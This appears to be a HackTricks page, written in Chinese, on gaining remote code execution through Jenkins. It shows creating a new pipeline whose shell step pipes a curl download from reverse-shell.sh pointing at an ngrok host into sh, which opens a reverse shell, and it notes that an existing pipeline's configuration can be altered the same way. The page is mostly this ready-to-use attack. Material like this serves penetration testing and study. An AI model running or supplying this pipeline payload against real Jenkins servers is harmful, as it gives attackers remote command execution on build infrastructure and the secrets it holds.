Jenkins RCE Creating/Modifying Pipeline

支持 HackTricks

创建一个新的 Pipeline

在 "New Item"(可在 /view/all/newJob 访问)中选择 Pipeline:

Pipeline 部分 写入 reverse shell

pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

最后点击 Save,然后点击 Build Now,流水线将被执行:

修改流水线

如果你可以访问某个已配置的流水线的配置文件,你可以修改它并添加你的反向 shell,然后执行它或等待它被执行。

支持 HackTricks

Last updated